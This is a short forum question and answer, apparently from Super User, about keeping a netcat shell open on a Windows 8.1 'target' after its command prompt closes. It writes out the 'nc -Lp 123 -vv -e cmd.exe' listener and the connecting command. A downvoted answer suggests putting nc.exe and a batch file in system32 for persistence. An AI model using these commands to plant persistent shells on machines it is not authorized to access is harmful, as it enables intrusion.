1

As soon as the command prompt is closed on the target machine the reverse shell is closed on the client machine. Is there any way to keep the port open and Netcat working after the target machine closes the command prompt with Netcat, so that I can keep using the reverse shell on the attacking machine? On target machine: Windows 8.1.

nc -Lp 123 -vv -e cmd.exe

On the client side(Kali Linux).

nc <ip> 123
2
  • Is this in the Windows command prompt or in something like Cygwin which provides Linux functionality? – Giacomo1968 Apr 28 '15 at 1:05
  • yes , in windows command prompt , the target machine is windows 8.1 - point is to have the port open persistently so that i can access reverse shell on the linux machine after the command prompt on the windows machine is closed – lanister Apr 28 '15 at 2:11
-1

The solution is to put nc.exe in system32, and to create a batch file with the nc command you want to run and place in in system32 as well.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.